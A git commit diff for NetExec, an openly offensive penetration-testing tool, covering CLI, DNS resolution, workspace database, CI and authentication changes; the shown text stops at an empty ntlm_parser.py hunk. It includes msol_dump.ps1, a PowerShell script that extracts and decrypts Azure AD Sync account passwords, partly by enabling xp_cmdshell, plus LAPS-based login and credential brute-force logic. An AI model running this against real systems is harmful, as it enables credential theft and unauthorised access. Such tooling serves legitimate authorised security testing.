fix(wmi): add auth_level to kerberos auth, revert my previous changes, move Impacket silencing, add debugging

Fix: hash_spider Lsassy Parser syntax

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Request a new feature or enhancement
+title: ''
+labels: ''
+assignees: ''
+
+---
+**Please Describe The Problem To Be Solved**
+(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
+
+**(Optional): Suggest A Solution**
+(Replace This Text: A concise description of your preferred solution. Things to address include:
+* Details of the technical implementation
+* Tradeoffs made in design decisions
+* Caveats and considerations for the future
+
+If there are multiple solutions, please present each one separately. Save comparisons for the very end.)

.github/ISSUE_TEMPLATE/pull_request_template.md

@@ -0,0 +1,44 @@
+---
+name: Pull request
+about: Update code to fix a bug or add an enhancement/feature
+title: ''
+labels: ''
+assignees: ''
+
+---
+## Description
+
+Please include a summary of the change and which issue is fixed, or what the enhancement does.
+Please also include relevant motivation and context.
+List any dependencies that are required for this change.
+
+## Type of change
+Please delete options that are not relevant.
+- [ ] Bug fix (non-breaking change which fixes an issue)
+- [ ] New feature (non-breaking change which adds functionality)
+- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
+- [ ] This change requires a documentation update
+- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
+
+## How Has This Been Tested?
+Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
+Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
+
+If you are using poetry, you can easily run tests via:
+`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
+There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
+
+## Screenshots (if appropriate):
+Screenshots are always nice to have and can give a visual representation of the change.
+If appropriate include before and after screenshot(s) to show which results are to be expected.
+
+## Checklist:
+
+- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
+- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
+- [ ] New and existing e2e tests pass locally with my changes
+- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
+- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
+- [ ] I have performed a self-review of my own code
+- [ ] I have commented my code, particularly in hard-to-understand areas
+- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)

.github/workflows/lint.yml

@@ -1,11 +1,11 @@
 name: Lint Python code with ruff
 # Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
 
-on: [push, pull_request]
+on:
+  push:
 
 jobs:
   lint:
-    name: Lint Python code with ruff
     runs-on: ubuntu-latest
     if:
       github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository

.github/workflows/test.yml

@@ -1,32 +1,51 @@
 name: NetExec Tests
 
 on:
+  workflow_dispatch:
   pull_request_review:
     types: [submitted]
 
 jobs:
   build:
-    name: NetExec Tests for Py${{ matrix.python-version }}
+    name: Test for Py${{ matrix.python-version }}
+    if: github.event.review.state == 'APPROVED'
     runs-on: ${{ matrix.os }}
     strategy:
       max-parallel: 5
       matrix:
         os: [ubuntu-latest]
-        python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
+        python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
     steps:
-    - uses: actions/checkout@v3
-    - name: NetExec set up python on ${{ matrix.os }}
-      uses: actions/setup-python@v4
-      with:
-        python-version: ${{ matrix.python-version }}
-    - name: Install poetry
-      run: |
-        pipx install poetry --python python${{ matrix.python-version }}
-        poetry --version
-        poetry env info
-    - name: Install libraries with dev group
-      run: |
-        poetry install --with dev
-    - name: Run the e2e test
-      run: |
-        poetry run pytest tests
+      - uses: actions/checkout@v3
+      - name: Install poetry
+        run: |
+          pipx install poetry
+      - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
+        uses: actions/setup-python@v4
+        with:
+          python-version: ${{ matrix.python-version }}
+          cache: poetry
+          cache-dependency-path: poetry.lock
+      - name: Install with pipx
+        run: |
+          pipx install . --python python${{ matrix.python-version }}
+      - name: Install poetry
+        run: |
+          pipx install poetry --python python${{ matrix.python-version }}
+          poetry --version
+          poetry env info
+      - name: Install libraries with dev group
+        run: |
+          poetry install --with dev
+      - name: Load every protocol and module
+        run: |
+          poetry run netexec winrm 127.0.0.1
+          poetry run netexec vnc 127.0.0.1
+          poetry run netexec smb 127.0.0.1
+          poetry run netexec ldap 127.0.0.1
+          poetry run netexec wmi 127.0.0.1
+          poetry run netexec rdp 127.0.0.1
+          poetry run netexec mssql 127.0.0.1
+          poetry run netexec ssh 127.0.0.1
+          poetry run netexec ftp 127.0.0.1
+          poetry run netexec smb 127.0.0.1 -M veeam

.gitignore

@@ -1,8 +1,10 @@
 data/nxc.db
 hash_spider_default.sqlite3
+hash_spider_testing.sqlite3
 *.bak
 *.log
 .venv
+pyvenv.cfg
 .vscode
 .idea
 # Byte-compiled / optimized / DLL files

README.md

@@ -1,4 +1,4 @@
-![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
+![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg)
 [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
 [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
 [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
 
 You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
 
-- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
+- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues) 
 - 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
 - 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
 
@@ -37,6 +37,12 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
 # Installation
 Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
 
+## Linux
+```
+sudo apt install pipx git
+pipx ensurepath
+pipx install git+https://github.com/Pennyw0rth/NetExec
+```
 # Development
 Development guidelines and recommendations in development
 

netexec.spec

@@ -13,6 +13,12 @@ a = Analysis(
         ('./nxc/modules', 'nxc/modules')
      ],
      hiddenimports=[
+        'aardwolf',
+        'aardwolf.connection',
+        'aardwolf.commons.queuedata.constants',
+        'aardwolf.commons.iosettings',
+        'aardwolf.commons.target',
+        'aardwolf.protocol.x224.constants',
         'impacket.examples.secretsdump',
         'impacket.dcerpc.v5.lsat',
         'impacket.dcerpc.v5.transport',
@@ -32,9 +38,11 @@ a = Analysis(
         'nxc.protocols.smb.smbspider',
         'nxc.protocols.smb.passpol',
         'nxc.protocols.mssql.mssqlexec',
+        'nxc.parsers.ldap_results',
         'nxc.helpers.bash',
         'nxc.helpers.bloodhound',
         'nxc.helpers.msada_guids',
+        'nxc.helpers.ntlm_parser',
         'paramiko',
         'pypsrp.client',
         'pywerview.cli.helpers',
@@ -65,6 +73,8 @@ a = Analysis(
         'dploot.lib.smb',
         'pyasn1_modules.rfc5652',
         'unicrypto.backends.pycryptodomex',
+        'dateutil.relativedelta',
+        'sspilib.raw._text',
      ],
      hookspath=['./nxc/.hooks'],
      runtime_hooks=[],

nxc/cli.py

@@ -1,21 +1,34 @@
 import argparse
+import argcomplete
 import sys
 from argparse import RawTextHelpFormatter
+from os import listdir
+from os.path import dirname
+from os.path import join as path_join
+import nxc
+from nxc.paths import NXC_PATH
 from nxc.loaders.protocolloader import ProtocolLoader
 from nxc.helpers.logger import highlight
-from nxc.logger import nxc_logger
+from nxc.logger import nxc_logger, setup_debug_logging
 import importlib.metadata
 
 
 def gen_cli_args():
-    VERSION = importlib.metadata.version("netexec")
+    setup_debug_logging()
+    
+    try:
+        VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
+    except ValueError:
+        VERSION = importlib.metadata.version("netexec")
+        COMMIT = ""
     CODENAME = "nxc4u"
+    nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
 
-    parser = argparse.ArgumentParser(description=f"""
+    parser = argparse.ArgumentParser(description=rf"""
      .   .
     .|   |.     _   _          _     _____
     ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
-    \\\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
+    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
     .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
    / /ॱ-ॱ\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
    ॱ \   / ॱ
@@ -28,20 +41,27 @@ def gen_cli_args():
 
     {highlight('Version', 'red')} : {highlight(VERSION)}
     {highlight('Codename', 'red')}: {highlight(CODENAME)}
+    {highlight('Commit', 'red')}  : {highlight(COMMIT)}
     """, formatter_class=RawTextHelpFormatter)
 
-    parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
+    parser.add_argument("-t", type=int, dest="threads", default=256, help="set how many concurrent threads to use (default: 256)")
     parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
-    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
+    parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication (default: None)")
     parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
     parser.add_argument("--verbose", action="store_true", help="enable verbose output")
     parser.add_argument("--debug", action="store_true", help="enable debug level information")
     parser.add_argument("--version", action="store_true", help="Display nxc version")
 
+    dns_parser = parser.add_argument_group("DNS")
+    dns_parser.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
+    dns_parser.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
+    dns_parser.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
+    dns_parser.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds (default: %(default)s)")
+
     # we do module arg parsing here so we can reference the module_list attribute below
     module_parser = argparse.ArgumentParser(add_help=False)
     mgroup = module_parser.add_mutually_exclusive_group()
-    mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
+    mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
     module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
     module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
     module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
@@ -64,7 +84,7 @@ def gen_cli_args():
     std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
     std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
     std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
-    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+    std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
 
     fail_group = std_parser.add_mutually_exclusive_group()
     fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
@@ -81,14 +101,28 @@ def gen_cli_args():
     except Exception as e:
         nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
 
+    argcomplete.autocomplete(parser)
+    args = parser.parse_args()
+
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
-    args = parser.parse_args()
-
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT}")
         sys.exit(1)
 
     return args
+
+
+def get_module_names():
+    """Get module names without initializing them"""
+    modules = []
+    modules_paths = [
+        path_join(dirname(nxc.__file__), "modules"),
+        path_join(NXC_PATH, "modules"),
+    ]
+
+    for path in modules_paths:
+        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
+    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    hidden = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else hidden + audit_mode * 8
+    reveal = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)

nxc/connection.py

@@ -4,38 +4,82 @@ from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
 from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
+from nxc.protocols.ldap.laps import laps_search
 
 from impacket.dcerpc.v5 import transport
 import sys
+import contextlib
 
 sem = BoundedSemaphore(1)
 global_failed_logins = 0
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
-    is_ipv6 = False
-    is_link_local_ipv6 = False
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
     address_info = {"AF_INET6": "", "AF_INET": ""}
 
-    for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-        af, _, _, canonname, sa = res
-        address_info[af.name] = sa[0]
+    try:
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
 
     # IPv4 preferred
-    if address_info["AF_INET"]:
-        host = address_info["AF_INET"]
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
     else:
-        is_ipv6 = True
-        host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
 
-    return host, is_ipv6, is_link_local_ipv6
+    return result
 
 
 def requires_admin(func):
@@ -47,7 +91,7 @@ def requires_admin(func):
     return wraps(func)(_decorator)
 
 
-def dcom_FirewallChecker(iInterface, timeout):
+def dcom_FirewallChecker(iInterface, remoteHost, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
         if strBinding["wTowerId"] == 7:
@@ -67,6 +111,7 @@ def dcom_FirewallChecker(iInterface, timeout):
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
@@ -78,49 +123,66 @@ def dcom_FirewallChecker(iInterface, timeout):
 
 
 class connection:
-    def __init__(self, args, db, host):
-        self.domain = None
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
-        self.port = self.args.port
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+
+        # Authentication info
         self.password = ""
         self.username = ""
         self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
-        self.local_ip = None
-        self.logger = nxc_logger
 
-        try:
-            self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
+        self.local_ip = None
+
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
-        if args.jitter:
-            jitter = args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
+        if self.args.kerberos:
+            self.host = self.hostname
 
-            value = random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
-            sleep(value)
+        self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
         except Exception as e:
-            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
+            else:
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {target}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
+
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -141,16 +203,7 @@ class connection:
     def check_if_admin(self):
         return
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         return
 
     def plaintext_login(self, domain, username, password):
@@ -162,11 +215,14 @@ class connection:
     def proto_flow(self):
         self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if self.create_conn_obj():
+        if not self.create_conn_obj():
+            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+        else:
             self.logger.debug("Created connection object")
             self.enum_host_info()
             if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
                 if hasattr(self.args, "module") and self.args.module:
+                    self.load_modules()
                     self.logger.debug("Calling modules")
                     self.call_modules()
                 else:
@@ -200,7 +256,7 @@ class connection:
         It iterates over the modules specified in the command line arguments.
         For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
         """
-        for module in self.module:
+        for module in self.modules:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
@@ -384,7 +440,9 @@ class connection:
         return domain, username, owned, secret, cred_type, [None] * len(secret)
 
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
-        """Try to login using the specified credentials and protocol.
+        """
+        Try to login using the specified credentials and protocol.
+        With  --jitter an authentication throttle can be applied.
 
         Possible login methods are:
             - plaintext (/kerberos)
@@ -397,6 +455,18 @@ class connection:
             return False
         if hasattr(self.args, "delegate") and self.args.delegate:
             self.args.kerberos = True
+
+        if self.args.jitter:
+            jitter = self.args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
+            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
+            sleep(value)
+
         with sem:
             if cred_type == "plaintext":
                 if self.args.kerberos:
@@ -459,6 +529,13 @@ class connection:
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
+        if hasattr(self.args, "laps") and self.args.laps:
+            self.logger.debug("Trying to authenticate using LAPS")
+            username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
+            cred_type = ["plaintext"]
+            if not (username[0] or secret[0] or domain[0]):
+                return False
+
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -478,3 +555,12 @@ class connection:
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
+
+    def load_modules(self):
+        self.logger.info(f"Loading modules for target: {self.host}")
+        loader = ModuleLoader(self.args, self.db, self.logger)
+        self.modules = []
+
+        for module_path in self.module_paths:
+            module = loader.init_module(module_path)
+            self.modules.append(module)

nxc/data/msol_dump/msol_dump.ps1

@@ -25,7 +25,7 @@ $instance_id = $reader.GetGuid(1)
 $entropy = $reader.GetGuid(2)
 $reader.Close()
 
-Write-Host "[*] Querying ADSync localdb (mms_management_agent) for On-Prem Sync Account"
+Write-Host "[*] Querying ADSync localdb (mms_management_agent)"
 
 $cmd = $client.CreateCommand()
 $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
@@ -51,8 +51,6 @@ while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
     $decrypted += $reader.GetString(0)
 }
 
-$reader.Close()
-
 if ($decrypted -eq [string]::Empty) {
     Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
     return
@@ -65,42 +63,3 @@ $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name
 Write-Host "Domain: $($domain.Domain)"
 Write-Host "Username: $($username.Username)"
 Write-Host "Password: $($password.Password)"
-Write-Host "   "
-
-Write-Host "[*] Querying ADSync localdb (mms_management_agent) for Azure Sync Account"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
-$reader = $cmd.ExecuteReader()
-if ($reader.Read() -ne $true) {
-    Write-Host "[!] Error querying mms_management_agent"
-    return
-}
-
-$config = $reader.GetString(0)
-$crypted = $reader.GetString(1)
-$reader.Close()
-
-Write-Host "[*] Using xp_cmdshell to run some Powershell as the service user"
-
-$cmd = $client.CreateCommand()
-$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key = `$null;`$km.GetActiveCredentialKey([ref]`$key);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
-$reader = $cmd.ExecuteReader()
-
-$decrypted = [string]::Empty
-
-while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
-    $decrypted += $reader.GetString(0)
-}
-
-if ($decrypted -eq [string]::Empty) {
-    Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
-    return
-}
-
-$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
-$username = select-xml -Content $config -XPath "//parameter[@name='UserName']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
-$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
-
-Write-Host "Username: $($username.Username)"
-Write-Host "Password: $($password.Password)"

nxc/data/nxc.conf

@@ -13,7 +13,7 @@ bh_enabled = False
 bh_uri = 127.0.0.1
 bh_port = 7687
 bh_user = neo4j
-bh_pass = neo4j
+bh_pass = bloodhoundcommunityedition
 
 [Empire]
 api_host = 127.0.0.1

nxc/database.py

@@ -0,0 +1,97 @@
+import sys
+import configparser
+import shutil
+from sqlalchemy import create_engine
+from sqlite3 import connect
+from os import mkdir
+from os.path import exists
+from os.path import join as path_join
+
+from nxc.loaders.protocolloader import ProtocolLoader
+from nxc.paths import WORKSPACE_DIR
+
+
+def create_db_engine(db_path):
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
+
+
+def open_config(config_path):
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+    except Exception as e:
+        print(f"[-] Error reading nxc.conf: {e}")
+        sys.exit(1)
+    return config
+
+
+def get_workspace(config):
+    return config.get("nxc", "workspace")
+
+
+def set_workspace(config_path, workspace_name):
+    config = open_config(config_path)
+    config.set("nxc", "workspace", workspace_name)
+    write_configfile(config, config_path)
+    print(f"[*] Workspace set to {workspace_name}")
+
+
+def get_db(config):
+    return config.get("nxc", "last_used_db")
+
+
+def write_configfile(config, config_path):
+    with open(config_path, "w") as configfile:
+        config.write(configfile)
+
+
+def create_workspace(workspace_name, p_loader=None):
+    """
+    Create a new workspace with the given name.
+
+    Args:
+    ----
+        workspace_name (str): The name of the workspace.
+
+    Returns:
+    -------
+        None
+    """
+    if exists(path_join(WORKSPACE_DIR, workspace_name)):
+        print(f"[-] Workspace {workspace_name} already exists")
+    else:
+        print(f"[*] Creating {workspace_name} workspace")
+        mkdir(path_join(WORKSPACE_DIR, workspace_name))
+    
+    if p_loader is None:
+        p_loader = ProtocolLoader()
+    protocols = p_loader.get_protocols()
+
+    for protocol in protocols:
+        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
+        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
+
+        if not exists(proto_db_path):
+            print(f"[*] Initializing {protocol.upper()} protocol database")
+            conn = connect(proto_db_path)
+            c = conn.cursor()
+
+            # try to prevent some weird sqlite I/O errors
+            c.execute("PRAGMA journal_mode = OFF")
+            c.execute("PRAGMA foreign_keys = 1")
+
+            protocol_object.database.db_schema(c)
+
+            # commit the changes and close everything off
+            conn.commit()
+            conn.close()
+
+
+def delete_workspace(workspace_name):
+    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
+    print(f"[*] Workspace {workspace_name} deleted")
+
+
+def initialize_db():
+    if not exists(path_join(WORKSPACE_DIR, "default")):
+        create_workspace("default")

nxc/first_run.py

@@ -3,7 +3,7 @@ from os.path import exists
 from os.path import join as path_join
 import shutil
 from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.nxcdb import initialize_db
+from nxc.database import initialize_db
 from nxc.logger import nxc_logger
 
 
@@ -29,7 +29,7 @@ def first_run_setup(logger=nxc_logger):
             logger.display(f"Creating missing folder {folder}")
             mkdir(path_join(NXC_PATH, folder))
 
-    initialize_db(logger)
+    initialize_db()
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")

nxc/helpers/bloodhound.py

@@ -52,14 +52,12 @@ def add_user_bh(user, domain, logger, config):
                         _add_with_domain(user_info, domain, tx, logger)
         except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
-            return
         except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
-            return
         except Exception as e:
             logger.fail(f"Unexpected error with Neo4J: {e}")
-            return
-        driver.close()
+        finally:
+            driver.close()
 
 
 def _add_with_domain(user_info, domain, tx, logger):

nxc/helpers/ntlm_parser.py

@@ -0,0 +1,34 @@
